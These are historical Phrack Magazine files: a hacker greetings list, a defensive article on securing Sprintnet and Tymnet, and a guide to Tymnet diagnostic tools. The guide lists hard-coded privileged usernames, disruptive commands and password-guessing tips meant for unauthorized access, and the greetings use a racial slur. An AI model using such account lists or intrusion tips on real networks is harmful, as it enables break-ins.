Most memorable things are unmentionable and destined to stay that way for a while. Those who played the games know the stories; those who didn't eventually will ‑‑ but like, who cares. Everybody should live their own stories, life's an interesting game . . . go play.

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

Dead Lord ‑ The one who is not and can never be, yet exists. Solely an infinite layering of the possibilities inherent within personal transmigration and biotechnology? Or alive, with flesh, blood, bone and an adornment of k0dEz & warEZ? You must not be blinded by sight, nor fooled by what things appear to be when they are not, for what is a man when he has not the latest, nor possesses the abilities to acquire same? This is a question perhaps best left to the wise men who roam the meadows of the ozone, forever catching the edge and surfing the waves cresting upon the seas of thought and what is, was, and shall always be.

The ‑ I know who you are, so tell me who I am, and let's just Unspeakable get on with it okay? Because otherwise, TV is likely to One drop the entire facility dead. Anyone of normal caliber can see that to be entirely obvious to thee of the id'ness of pole‑cats watching Star Wars. 8+ KlUb ElYtE.

Terminus ‑ A good friend over many years who, as most people know, has recently gone through a lot. The future looks bright, and I look forward to looking back on all this with you in another ten years. [Look, look, looking] (haga!)

Magnetic Surfer ‑ Neato guy who knew me way‑back‑when, and used to give me gNu Apple wArEz on cassette tape which he had downloaded at the lightning speed of 300 baud. Also provided a means to meeting many of my friends, via Sherwood Forest, when it first existed and hosted Inner Circle and later KOS.

The Phantom ‑ See above, also gave me a full set of TAP copies in 1983, which I never returned to him.

The Plague ‑ A cool guy, close friend before his fatal accident when the truck went off the road near Poker Flats, just 5 miles north of Pig's Knuckle, ID. Tragic, hope he's happy in his new home, far, far underground, running the world's first afterlife/subterranean BBS.

ApPul HeyD! \ The elYtE peARz of Scepter/InterCHAT who went on to form SuperNigger > ‑ DPAK, an entity SO ELITE that it required FOUR letters for Sharp Rem0b / its acronym & brought the world Lex Luthor on HBO!

SuperNigger ‑ Because he is 2 elyTe to be encompassed in merely one line and requires at least two.

Lord_foul ‑ Ahhhh do0d.... Well we all have our roles 2 play. Catch ya in tha outback. (cha mod pla foul sl=999 mi=99,mh=99)

Ninja NYC ‑ One of the few people I have ever met who seems to have mastered the art of being happy wherever he is, doing whatever he happens to be doing. An exceptionally nice human being.

Elven Wizard \ A collection of compatriots, cohorts, and all around dudEz The Infiltrator\ with whom I had an inordinate amount of fun, first ro0l!ng The Gunslinger > ‑ the WhEReZ world, then changing our handles (well except The Bishop / for Jeff) & dismantling eliteness and its tarnished allure, The Gonif / along with its cadre of false prophets (namely ourselves under half a dozen other handles).

Andrew \ "I doan' wannnnnnnnnt any money, I want to be left alone, Chase > ‑ tell them to go 'way." May Sutekh look upon our worldly Asif / endeavors and bless us all, everyone. !nse<t01dZ ro()l!!@

Paul Muad'Dib ‑ A lotta fun, although he never did have any new wares (unless you count source code). In any case, I guess it's not too relative any more.

Tuc ‑ I think it's a requirement to mention Scott; far be it from me to break with tradition. Hi Tuc! Thanks for the ride!

Captain Avatar ‑ He had 'em Ahllll! ALL of them... MORE THAN all of 'em....

Napoleon Bonaparte‑ Nappy ran Securityland. I called it, it was cool. It made me smile. I guess it made the FBI smile too.

Mr. Xerox ‑ Mike was usually witty, sarcastic, annoying, egotistical, obnoxious, and almost always late. We got along great and I really miss the guy sometimes. Hullo Mike, wherever you may roam.

Taran King ‑ BesideZ DeYd L0rD & Sn, the El1teZt Pers0[\] eYe EveR meT! StaY sP!fpHY [>o()d!

Phantom Phreaker ‑ Here's to shifting focus and finding something far more interesting to play with than phones & computers 8‑). It's an amazing universe, huh . . .

Lex Luthor ‑ After a ten year period during which we typed to each other once in a while and seemed situated at antipodean sides of the m0dUm Yo0n!veRsE, I finally met with Lex in the very near past. It's shocking to find that he's actually one of the most gracious, funny, and pleasant guys I've ever had an opportunity to meet. Best wishes in whatever you may end up doing!

Erik Bloodaxe ‑ A keg of Sandoz, a Vat of pig's blood, T&C and thee.

Sigmund!@31!@!!! ‑ As the UFOs said, they know who you are, they know where you are. Seriously, hey, it was entertaining. Good luck man.

unReAl PeOpUL 2 MenShun

~~~~~~~~~~~~~~~~~~~~~~~

StJude ‑ For everything. It's good to know you . . . love, light, and a lotta deep‑fried giri with ciphers thrown in.

Siva ‑ Look, polygons or voxels, Gibsonian or Post‑modern, by Risc or by Cisc with Objective C++ running Smalltalk under Windows NT over the underpass and around the bend; it's gonna happen, and we're gonna be there having a party. Smile, as I think you've mentioned on more than one occasion; it's an interesting time to be alive 8‑).

Bruce ‑ Quite possibly the coolest grown‑up I have ever met 8‑). Which is Sterling saying a lot. The world would be a much better place if Bruce could be cloned and then placed inside a tornado, hooked into a net, fitted with an adamantium exoskeleton, and then dropped into the de‑criminalized zone with a BigMac and a holographic tape recorder.

Jim ‑ Hey so, are you doing more things at once or am I? I bet I can Thomas watch TV, listen to music, have three phone conversations, and write an article with 25% greater coherence than Chuck has while eating and watching TV. On the other hand, writing two books, teaching, reading, running CUD, having a life, and still finding time to hang out are at least level 15 ‑‑ haven't hit that yet, but I'm working on it!

Andy ‑ Hey man. I enjoy what you're doing, keep the faith, ignore the Hawks assholes, take inspiration from the inspired, and retain belief in your dreams. Oh okay, gotta go, time to sell out, ignore what I just said 8‑).

3Jane ‑ Models/actresses/sex cadets united for a better tomorrow, under Unix with named_pipes and justice for some of us.

Memorable Phreak/Hack BBSes

~~~~~~~~~~~~~~~~~~~~~~~~~~~

8BBS ‑ Long ago, I didn't understand it, or what I was typing, but it was fun. MOM ‑ Long ago, although by now I did understand it and had slightly less fun. Pirate's Harbor ‑ Before Norman figured out he could make a killing on TIMECOR. Pirate's Chest ‑ 6 line 80 meg board circa 1983. Totally Cool. Adventurer's Tavern ‑ Last bastion of tremendous on‑line fun & anarchy. RIP. Securityland ‑ Nappy's Board.

Pirate's Phunhouse ‑> Cat's Cavern ‑ The Tempest's system(s).

Dark Side of the Moon ‑ Through many long and strange phases. Still running. RACS III ‑ w()wZ0 blargel blumpfk0l SwillY sw()nk!@!#!@!!!!!

OSUNY (3 cycles) ‑ Some more fun than others.

Sherwood Forest I, II, III ‑ Liked all three, although 1 was the coolest. Plovernet ‑ Two phases. Both great.

The (urse ‑ WarEZ do()d & eLIteNEsS Galore!@#!@#!@#!@#

LOD ‑ The Start in 1984, and intermittently thereafter.

COPS ‑ Cool Florida board.

Shadowland ‑ Cool Colorado board.

SpecELITE ‑ So overwhelmingly awful, that it was wonderfully fun. WOPR ‑ Lotta fun for a while, then he threw everyone off & went 1200only wareZ. Pirate‑80 ‑ It was very effervescent with a touch of jello. Everything Sir Knight ever ran ‑ Too many names (Tele‑Apa, HackNet, NewsNet...) World of Cryton ‑ WOC! JAMES! ELITENESS!

The Safehouse ‑ Apple Bandit's. Hey, I want my Diskfer ][ dude! Farmers of Doom ‑ Blo0p.

Pirates of Puget Sound ‑ Nice softwareZ. Lotta fun.

A few things Lord Digital would like to say:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

BELIEVE EVERYTHING THAT YOU HEAR. KNOW EVERYTHING YOU SEE. UNDERSTAND EVERYTHING YOU DO NOT COMPREHEND. BE AT ONE WITH THE STILLNESS OF THE REVOLVING HAMSTER WHEEL AND FLOSS BETWEEN MEALS.

As far as the future of the hack/phreak world and telecommunications in general is concerned, the PhrAck World is absolutely spiffy and I believe that ISDN will change EVERYTHING and make it rounder, taller, bigger, more stable, and also give later generations something to look back upon and sneer at with

Packet Switched Network Security

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 4 of 14

Prelude to a Kiss

‑ Lessons Unlearned Are Doomed To Bring Misery Ad‑Infinitum ‑

The following is an article I wrote for a mainstream computer security periodical called ISPNews. At the time, I had been discussing the idea of a bi‑monthly column with the editor at that time, Len Spitz. (Now the editor is Michael Alexander, ex‑of Computerworld)

The following article, although very, very tame by my standards, and admittedly lacking in enough hardcore information to help security professionals to apply a quick fix to their many problems, caused quite a stir among the folks at ISPNews.

Since this article was from me, a self‑proclaimed hacker, it underwent an extraordinary amount of scrutiny. Rather than be accepted or denied by the editor, my article got the dubious honor of being sent before an editorial advisory board. I checked every back issue of ISPNews and could find no mention of such an entity until the November/December 1991 issue, the issue immediately following an length interview with none other than myself.

When I questioned Len Spitz about this rather odd fact, he maintained that this committee had indeed existed, but stammered his way through my question to name any other article that they had convened to judge in the past, and to explain the duties of such a group. He could not give me any answers.

The group itself was obviously geared to be a type of kangaroo‑court. It consisted of:

William J. Cook ‑‑ The man who less than two years prior had ordered my privacy and civil rights violated by the Secret Service solely on the basis of two bulletin board posts and my association with members of the Legion of Doom and the Phrack Magazine staff.

William H. Murray ‑‑ A senior consultant with Deloitte & Touche who had two weeks prior stood up before my presentation to the MIS Training Institute's 11th Annual Conference and said loudly "I can't take this any more, I'm leaving," to the astounded audience. The man who went on to state in his own column in ISPNews, "Can we lie down with dogs and get up without fleas?" and "Ask yourself if you wish to work in a profession populated by rogues. Ask yourself if you want your reputation mixed with theirs."

Winn Schwartau ‑‑ A security consultant with a broad view and an open mind, undoubtedly resulting from his background in the music industry, as opposed to the bean‑counting world of MIS.

David J. Stang ‑‑ Director of research, NCSA. Noted virus specialist.

This was the group. Here is what they said about my article:

Bill Cook ‑‑ "It's very well‑written and informative, but shouldn't be published for legal reasons." (What those reasons might have been were not stated, nor did Mr. Cook return my call to his office.)

Bill Murray ‑‑ Was not even given the file to read, as his response was deemed to predictable.

Winn Schwartau ‑‑ "Publish it. This is valuable information."

David Stang ‑‑ Was not given the file because, according to Len Spitz "David is just a virus expert, and this isn't in his arena, so we gave it to Ray Kaplan."

Ray Kaplan ‑‑ Did not want to comment on it because he said, "It's not my expertise, so I gave it to a friend." I believe Ray did not want to get involved with anything having to do with hackers after the reactionary attitudes of the DECUS attendees towards his defense of Kevin Mitnik that nearly left him in bankruptcy. I cannot blame him at all. (Hell, I like the guy...he's certainly more brazen with attitude these days, I mean, he went to HoHoCon for God's‑sake!)

Ray's Friend ‑‑ "This is of absolutely no use to the information security professional, but of great use to the hacker community." I still do not know who Ray's "friend" was. I hope his Alzeheimer's has subsided since this comment.

Needless to say, the article went unpublished.

Shortly thereafter I received a letter from Robert Fox, an assistant vice‑president at Sprint. Somehow my little article had snaked its way over to Kansas City. It's amazing how one faxed copy of an article could have reached so many people in such a short period of time. Mr. Fox had the following to say:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

United Telecom/US Sprint

9221 Ward Parkway

Kansas City, Missouri 64114

816‑822‑6262

Robert F. Fox January 13, 1992

Assistant Vice President

Corporate Security

VIA AIRBORNE EXPRESS

Mr. Chris Goggans

COMSEC

Suite 1470

7322 Southwest Freeway

Houston, TX 77074

Re: Your Article "Packet‑switched Networks

Security Begins With Configuration"

Dear Mr. Goggans:

A copy of the referenced unpublished article, which is enclosed with this letter, has come to our attention. After review, we believe the article is inaccurate and libelous. If published the contents of the article could cause damage to Sprint customers, Sprint and our reputation, and we request that you not publish or otherwise disseminate it.

In addition, we believe some of the information contained in the article has been obtained through violation of the property rights of Sprint and/or our customers and we demand that you cease any efforts or attempts to violate or otherwise compromise our property whether or not for you personal financial gain.

Sincerely,

Robert F. Fox

Enclosure

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Regardless of how Mr. Fox came into possession of this article, i have to question his letter based on his comments. First he states that the information is almost criminally incorrect and could cause harm to Sprint's reputation. Then he states that information in the article has come to be known through the violation of the security of Sprintnet and/or clients of Sprintnet. In effect, I am both a thief and a liar according to Mr. Fox. Well, if I were a thief the information could not possibly be inaccurate if it were obtained from Sprintnet or its clients. If I was a liar, why would they think the information came from themselves and/or their clients? Mr. Fox's thinly veiled threat caused me great amusement.

I then decided no mainstream publication would touch this article. I don't know why everyone is so scared of the truth. Perhaps if the truth were known people would have to work, and perhaps if the truth were known some people would be out of work. None of this is of concern to me anymore. I am here to speak the truth and to provide uncensored information gathered from a variety of sources to provide readers of this magazine the facts they need to quench their thirst for knowledge.

This article is included as a prelude to a series of articles all based on packet switched networks as related to information merely alluded to in my harmless little article. To our readers, "enjoy." To the cowering so‑called security experts, "kiss my ass."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Packet‑switched Networks

Security Begins with Configuration

For many companies the use of packet‑switched networks has

allowed for increased interconnectivity of systems and easy

remote access. Connection to a major public packet‑switched network brings increased access points with local dialups in

many cities around the nation as well as access

points from foreign countries.

With the many obvious benefits provided by this service,

improper configuration of either the host's connection to the network or of the network itself can lead to extreme security problems.

The very connection to a public packet‑switched network immediately increases the exposure of that particular system. America's two major commercial networks, BT‑Tymnet and

Sprintnet, are probably the most popular US targets for hackers around the world. The wealth of systems available on

these two networks has provided hackers with a seemly endless supply of sites on which to sharpen their skills. The ease of use inherent in both networks makes them popular for legitimate

users as well as illegitimate users.

The Telenet software utilized in the Sprintnet network allows users to enter a network user address (NUA) in the standard

format as outlined in the X.121 numbering standard:

DDDDAAAHHHHHPP

Where D = the four digit data network identifier code (DNIC) A = the three digit area code corresponding to the host H = the host address

P = the port or (sub) address

On domestic calls the DNIC for Sprintnet (3110) is stored in

all Sprintnet equipment and is used as the default. By

merely picking an area code, most often corresponding to the standard area codes of the North American Numbering Plan, and an

additional one to five digits a would‑be intruder can

connect to any number of systems while looking for targets.

In the past many software packages have been written to

automate this process, and large scans of the network have

been published in a variety of underground media.

The Tymnet II software utilized in BT's Tymnet

prompts the user for a mnemonic which corresponds to a host

or number of hosts. The mnemonic, or username, is referenced

to a fixed host address in the network's Master User

Directory (MUD). This username may allow the caller to

connect to a variety of sites, as opposed to merely one, by entering additional information in separate fields after the username. It may also correspond to a network gateway thereby allowing

the user to enter a number in the X.121 format and connect to that specific site.

This particular network, with its primary use of words as

opposed to numbers, has been compromised by intruders who

guess common words or names in their attempts to connect to

remote sites.

Each network has its own particular set of problems but

solutions to these problems are both simple and quick in implementation.

SPRINTNET

The first deterrence in securing a host on this

network is to restrict access to the site. This can be accomplished in a number of ways. The most obvious is to

have the site refuse collect calls. All calls on Sprintnet

are reverse‑billed, unless the site has specifically asked

that they not be billed for incoming calls. This makes the

site accessible only through the use of a Network User

Identifier (NUI).

Another method of restricting access from intruders is to

place the host in a closed user group (CUG). By electing to

have the host in a CUG, the administrator can allow only

certain NUIs to connect, and can also restrict the actual addresses from which access is allowed. For example: A site

is placed in a CUG that will allow only calls from the

company's remote branch in Dallas to access the host and only

with the NUI created specifically for that branch. All

attempts to access the site from an address outside the 214

area will result in an error message indicating an invalid

source address. All attempts to connect with an invalid NUI

will result in an error indicating an invalid ID. This information is maintained in the networks main TAMS (TP

Access Management System) database, and is not subject to manipulation under normal circumstances.

Many sites on the Sprintnet network have specific

subaddresses connecting to a debug port. This is usually at subaddress 99. All connections to debug ports should be restricted. Allowing users access to this port will allow

them the ability to load and display memory registers of the Sprintnet equipment connected to the port, and even reset

as well as enable or disable the host. Most debug ports are equipped with preset passwords from the vendor, but should be changed. These ports should also restrict connection from

all addresses except those specified by the company.

An additional measure that may foil intruders relying on

software programs to find all addresses in a given area code

is to request that the host be given an address above 10000.

The time involved in scanning the network is extensive and

most casual intruders will not look past the 10000 range. In fact, many will not venture past 2000.

BT‑TYMNET

Any company having a host on the Tymnet network should choose

a username that is not easily associated with the company or

one that is not a common word or name. If an intruder is aware that XYZ Inc. has a UNIX based system on TYMNET he or she would

begin attempts to find this system with the obvious

usernames: XYZ, XYZINC, XYZNET, XYZ1, XYZUNIX, UNIX, etc.

BT‑Tymnet allows for these usernames to have additional

password security as well. All hosts should have this option enabled, and passwords should be changed frequently.

The password should always be a minimum of six

digits, should include letters, numbers and at least one symbol character, and should not be associated in any way with the corresponding username.

Many clients of BT‑Tymnet have purchased the Tymnet II

software and have individual sub‑networks that are linked to

the public network through gateways. Each subnet is

personally configured and maintained through the use of a

package of utilities provided by Tymnet. These utilities

each perform a specific task and are highly important to the smooth operation of the network. These utilities may be

accessed either directly from the host‑end or remotely

through the network by entering a corresponding username.

Some of these utilities are:

XRAY : a monitoring utility

DDT : a debugging utility

NETVAL : a database of username to host correspondence

PROBE : a monitoring utility

TMCS : a monitoring utility

Under NO CIRCUMSTANCES should these utilities be left

without a password on the company's subnet. These utilities should also never be named similarly to their given name. Should an intruder gain access to any of these utilities the integrity

of your network will be at risk.

For example:

Allowing an outsider access to the XRAY utility, would give

he or she the ability to monitor both incoming and outgoing

data from the host using the "TA" command (display trace data table in ASCII). Use of certain XRAY commands are restricted

by a security function that allows only certain usernames to execute commands on the basis of their existence in a

"Goodguy" list, which can be displayed by any XRAY user.

Should a user be of the highest privilege, (2), he or she can

add or delete from the "Goodguy" list, reset connections, and display trace data on channels other than the default

channel.

Allowing a user access to DDT can result in complete

disruption of the network. DDT allows the user the ability

to write directly to the network controller "node code" and

alter its configuration.

Allowing a user access to NETVAL will allow the user to

display all usernames active on the network and the

corresponding host addresses.

OTHER PROBLEMS

EXAMPLE ONE

On many networks users have the ability to connect to the

packet assembler/disassembler (PAD) of the network dial‑ups.

This has led to significant problems in the past.

In the mid‑1980's two American hackers were exploring the

German packet network DATEX‑P. One connected to a host in

Berlin and was immediately disconnected by the remote site.

Before the hacker could react, the German host connected to

the NUA corresponding to his Sprintnet PAD and sent him a

login prompt. This alarmed the hacker greatly, as he assumed

that the proprietors of the German host had somehow noticed

his attempt to access their system. He contacted his partner

and told him of the occurrence. The two concluded that since

the NUA of the origination point is sent in the packet‑header,

the remote site must have been programed to recognize the NUA and then return the call. The fact that it had returned a call to a public PAD was intriguing to the pair, so they decided to

attempt to recreate the event by calling each other. Both individuals connected to the network and one entered the NUA corresponding to the others PAD. A connection resulted and

the two were able to interact with one another. They then

decided that they would periodically meet in this fashion and discuss their findings from Germany. At the time of the next meeting, the connection did not occur as planned. One hacker quickly received a telephone call from the second who

exclaimed rather excitedly that he had attempted to connect

to his partner as planned, but accidentally connected to

another PAD and intercepted a legitimate user typing his NUI. Further investigation proved that one could connect to public

PADs during the idle period when the user was in network

mode, prior to making a connection to a remote site. This discovery was intended to remain secret, because of its

extremely dangerous applications. Nevertheless, word of this discovery soon reached the entire hacker community and what

came to be known as "PAD to PAD" was born.

The "PAD to PAD" technique became so wide‑spread that hackers

were soon writing software to intercept data and emulate

hosts and capture login names and passwords from unsuspecting network users. Hackers were intercepting thousands of calls

every day from users connecting to systems ranging from

banking and credit to the Fortune 500 to government sites.

After nearly two years of "PAD to PAD" Sprintnet became

alerted to the crisis and disallowed all connections to

public PADs. When Sprintnet expanded its service overseas

they once again left access to the overseas PADs

unrestricted. The problem went unnoticed again until

their attention was brought to it by a hacker who called

Sprintnet security and told them that they ought to fix it

quickly before it became as wide‑spread as before.

The problem was resolved much quicker this time.

This particular technique was not limited to Sprintnet. All networks using the Telenet software are at risk to this type

of manipulation. This type of network manipulation was

integral in the recent compromise of a large Bell Company's packet network in a much‑publicized case. Certain foreign

networks in countries such as Israel, England, Chile, Panama,

Peru and Brazil are also at risk.

EXAMPLE TWO

In the late 1980's hackers stumbled onto a packet network

owned and maintained by a large facilities maintenance

company. This particular network had a huge flaw in its

setup. It connected all calls placed through it as if they

were placed with an NUI. This allowed hackers to place calls

to addresses that refused collect connections on networks

around the world. This became a popular method for hackers

to access underground chat systems in Europe. Additionally,

this network contained a score of computers belonging to a

major automobile manufacturer. Most of these systems were

highly insecure. The network also allowed unrestricted

access to network debug ports. This particular network also

had a toll‑free number on an MCI exchange. At the time, MCI

was having some difficulty getting their equipment to accept

the ANI information to provide customers with a full call‑

detail report on their monthly statement. The hackers were

well aware of this fact and made frequent use of the network

with no fear of prosecution. Eventually MCI was able to fix

their translation problem and were able to provide their

clients with full call‑detail reports. When this was

learned, many hackers abandoned use of the network, but

several others were later prosecuted for its usage when their number turned up on the bill.

EXAMPLE THREE

Until quite recently intimate knowledge of the utilities

driving various packet‑switched networks were known by an exclusive few. While investigating a network owned by an extremely large Cleveland‑based conglomerate hackers came

across a system where documentation on the usage of every

utility was kept online. The hackers quickly downloaded all

the information and it soon became somewhat wide‑spread among

the underground community. With less‑skilled and more unscrupulous individuals in possession of this information

many networks began experiencing disruptions and system

integrity was quickly lost as hackers began monitoring data traffic.

No information on the usage of packet networks or their

utilities should ever be kept online. Hard copies should be

kept in the possession of the network administrator, and when updated, obsolete versions must be destroyed.

WHAT TO DO

When a security violation stemming from a connection through

the packet network is noticed, Network Security should be notified. Clients of BT‑Tymnet should notify Steve Matthews

at 408‑922‑7384. Clients of Sprintnet should notify

Pat Sisson at 703‑689‑6913.

Once changes have been enacted in the network to prevent

further break‑ins, the host computer should be checked

thoroughly for any changes or damages, and all individual

account passwords should be changed.

CONCLUSION

It is critical that the packet network be configured properly

and that all measures are taken to ensure its security. Even

the most secure host computer can be easily compromised if it

is connected to an insecure packet network.

Tymnet Diagnostic Tools

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 5 of 14

= ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ =

Synopsis of Tymnet's Diagnostic Tools and their associated License Levels and Hard‑Coded Usernames

by

Professor Falken

February 14, 1993

= ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ =

While the scope of this article is general, the information contained within is NOT for the novice Tymnet explorer. Novice or NOT, go ahead and read; however, caution should be taken when invoking any of these commands upon BT's network. Execution of certain commands can have debilitating consequences upon segments of the network.

In this article I intend to educate the reader about the various Tymnet diagnostic utilities that are available. This article is by no means an in depth microscopic view of the utilities; but rather a brief to the point survey course of what is available to qualified people. With each utility I will describe its use/s, list its major commands, and in DDT & XRAY's case, dispense its hard‑coded usernames which allow you to become a 'qualified person.'

It seems the software engineers at Tymnet (for the lack of something better to do) like to rename ordinary words to complicated ones. For instance, within this article I will talk about LICENSE LEVELS. License levels are nothing more than security levels. When I speak of License Level 4, just translate that to Security Level 4. I would have just called everything security levels, but I wanted to stay within that lethargic Tymnet mood for realism purposes. Another word the engineers pirated from 'GI JOE' was GOOD‑GUYS. In our world, a Good‑Guy is a valid username that can be used for logging into the various diagnostic utilities.

Like most conventional computers, Tymnet also needs an operating system for its code to run under. Tymnet's node‑level, *multitasking*, operating system is called ISIS; it stands for 'Internally Switched Interface System.' Its designed for: handling multiple communication links, allocating system memory, system job/process scheduling, and all the other BASIC things ALL operating systems do. Tymnet explains it a bit more complicated and less to the point, but to give equal time to the opposing viewpoint, this is what they say:

"Internally Switched Interface System. The operating system for a TYMNET node; provides functions that control the overall operation of an Engine. These functions include, but are not limited to, memory allocation, message switching, job scheduling, interrupt processing, and I/O distribution. ISIS allows multiple data communications functions to run on a single processor. Two of its many services are debugging and I/O port management. Formerly known as ISIS‑II or ISIS2. ISIS2, ISIS‑II Obsolete terms. See Internally Switched Interface System (ISIS)."

At various points within this file I will refer to an ENGINE. Basically, an ENGINE is a minicomputer which handles all the processing requirements that ISIS and its applications demand. However, to be fair to all the Tymnet technoids, this is what BT says:

"BT North America packet‑handling hardware. The Engine communications processor is a member of a family of special‑purpose minicomputers. It runs communications software such as Node Code (for switching), slot code (for protocol conversion and value‑added functions), and the ISIS operating system. The Engine family consists of the Pico‑Engine, Micro‑Engine, Mini‑Engine, Mini‑Engine‑XL, Dual‑Mini‑Engine‑XL, Engine, and ATC."

You think they would have invented much NEATER names for their computer platforms than 'Mini‑Engine' or 'Micro‑Engine'. I would guess that BT's hardware engineers have less time than the software engineers to invent K‑RAD names for their projects. Anyhow, as you can see, the ENGINE is the muscle behind Tymnet's network brawn.

Another term which is very basic to ANY understanding of Tymnet is the 'SUPERVISOR.' As you can see the engineers searched high & low for this clever term. The Supervisor is many things including, the authentication kernel you interact with, the circuit billing system that subscribers unfortunately do not interact with, and generally the network's 'BIG BROTHER.' Supervisor watches the status of the network at all times, keeping detailed logs and interceding when trouble erupts. The supervisor term can also refer to the engine upon which the Supervisor is being run on.

With all that in mind, I will now introduce five of Tymnet's diagnostic tools. I intend on presenting them in this order: DDT, MUX, PROBE, LOAD‑II, TOM, and XRAY. Please note that only DDT and XRAY have 'good‑guy' lists provided.

DDT ‑ Dynamic Debugging Tool

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DDT is a utility which runs under the ISIS operating system. DDT is capable of loading or displaying a slot's content. A slot is an area of memory in a node in which Tymnet applications run. DDT can also be used for modification of a specific slot's slot code. Slot code is any program which has been assigned memory within the engine by ISIS. DDT also performs other lower level diagnostic functions, which I will not go into.

Logging into DDT requires you to provide the 'please log in:' prompt a valid username and password. Upon checking the good‑guy list and authenticating the user, the kernel process searches for the associated slot assignment. If no slot is assigned to the good‑guy, the kernel will prompt you for a slot number. Once you enter a VALID slot number and it is available, the authentication kernel executes the DDT utility. When I say 'VALID' slot number, I mean a slot number which logically exists AND is attainable by your current good‑guy's license level.

Actual logins to DDT take the form:

please log in: goodguyID:host# <cr>

password:

Where goodguyID is a valid goodguy, host# is the Tymnet subscriber who needs a little 'work' done, and obviously the password is what it is. While I would like to give you all the passwords I could, I don't think it is going to happen. So all I can do is suggest trying different variations of the goodguy IDs, and other dumb passwords unsecure people use.

Connection to primary DDT is displayed as the ever‑so‑friendly '*' prompt. It is from this prompt that all general DDT commands are directed. The most useful DDT commands are listed below in a general, extended, and RJE/3270T specific registry.

GENERAL DDT COMMANDS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

E Execute a slot.

H Halt a slot. <‑‑‑‑ DESTRUCTIVE See WARNING!

ZZ Logs you out of DDT.

^# Transfers control from the current slot to the slot specified by #. (IE‑ ^7 Switches control to slot 7) ?CPU Displays CPU utilization (Engine Performance)

?HIST Displays a history of diagnostic messages.

?HOST Displays the hosts in use by that slot.

?LU Displays the logical unit to physical device assignment. ?MEM Displays the time of memory errors if any.

?STAT Allows the execution of EXTENDED DDT. To obtain the extended command prompt type '/'.Command prompt ':>'

?VERN Displays the ISIS version followed by the SLOT's version.

WARNING!: It is possible to HALT a slot accidently. This will freeze everything going in/out of the current slot. This can be BAD for customer satisfaction reasons. If you accidently hit 'H', even without a CR/LF it will hang the slot. So when the ?HIST or ?HOST commands are used make SURE you type that important '?' beforehand. This will halt everything going over that slot, effectively destroying the communication link.

EXTENDED COMMANDS FOR RJE & 3270T

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RJE & 3270T

===========

EXI Logs you out. (DuH!)

QUIT Return from extended DDT prompt ':>' to normal '*' DDT prompt.

RJE Only

========

HELP Displays a list of commands available in extended RJE DDT mode. (A list not worth putting in here.)

SCOPE Outputs a protocol trace.

TRACE Outputs a state trace.

3270T Only

==========

HELP Displays a list of commands available in extended 3270T DDT mode. (Again, a list not worth putting in here.)

STATUS Displays status of all lines, control units, and devices. STRTLN x Start polling on line x. (Performance benchmark) STRTCU x,y Start polling control UNIT x on LINE y. (Performance benchmark) STOPLN x Stop polling on line 'x'

STOPCU x,y Stop polling control UNIT x on LINE y.

NOTE:If you try to use an RJE command while logged into a 3270T you will be shown the incredible "ILLEGAL COMMAND" string.

GOOD‑GUYS AND LICENSE LEVELS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As with any username, there is an accompanying license level (security level) with each account. The different levels define which types of slots that username may access and the available commands. Some of the good‑guys have access to all slots including supervisor, while others have access to only non‑supervisor slots.

The table below is a list of the actions that are available with the various different license levels.

L.DISC Permits disk formatting

L.H Permits the halting, loading, and restarting of all slots for code‑loading purposes.

L.P Permits the halting, restarting, and online software modification to an active slot. (Except slots 0 and FF)

L.R Permits logon to all slots (Except 0 and FF)

L.SOA Permits logon to a node's slot 0. (Node configuration.) L.SOP Permits the halting, restarting, and online software modification to slot 0.

L.SOR Permits the reading of slot 0 files.

L.SUA Permits logon to Supervisor slots.

L.SYA Permits logon to a node's FF slot. (ISIS configuration node.) L.SYR Permits the reading of slot FF files.

L.SYP Permits the halting, restarting, and online modification to slot FF.

The DDT license levels are numbered from 0 to 4, 4 being Gh0D. Each level has several of the above named actions available to them. Listed below are the various actions available at the 0 through 4 license levels.

LEVEL ACTIONS

===== =======

4 L.DISC, L.P, L.SOA, L.SOP, L.SUA, L.SYA, and L.SYP . (Disk format, halt, restart, online software mods, and reading of files for all slots AND supervisors. Like I said, GOD.)

3 L.P, L.SOA, L.SOP, L.SYA, and L.SYP .

(Halt, restart, online software mods, and reading of files for all slots and supervisors.)

2 L.H, L.R, L.SOA, L.SOR (For code loading purposes: halt, restart online software mods, and reading files for all slots and supervisor nodes.)

1 L.R, L.SOA, L.SYA (Views ALL slots and supervisor nodes)

0 L.R (Views all slots, EXCEPT supervisor slots and 0 & FF.)

What follows is a good‑guy userlist with the associated license level of that username. I also note whether the account is ACTIVE/PASSIVE upon an operating node/slot combination and the seriousness of the network impact that those associated licenses can possibly create.

LICENSE LEVEL GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT

============= =================

4 ISISTECH Active MAJOR 4 NGROM Active MAJOR 4 NSSC Active MAJOR 4 RPROBE Active MAJOR 4 RERLOG Active MAJOR 4 RACCOUNT Active MAJOR 4 RSYSMSG Active MAJOR 4 RUN2 Active MAJOR 4 TNSCM Active MAJOR

3 IEXP Active Moderate 3 ISERV1 Active Moderate 3 ISERV2 Active Moderate 3 ISERV3 Active Moderate 3 ITECH1 Active Moderate 3 ITECH2 Active Moderate 3 ITECH3 Active Moderate 3 ITECH4 Active Moderate 3 ITECH5 Active Moderate

2 GATEWAY Active Minor

1 DDT Passive 1 DDTECH Passive 1 IOPPS Passive 1 ISERV Passive 1 ITECH Passive

0 VADICBUSY Passive

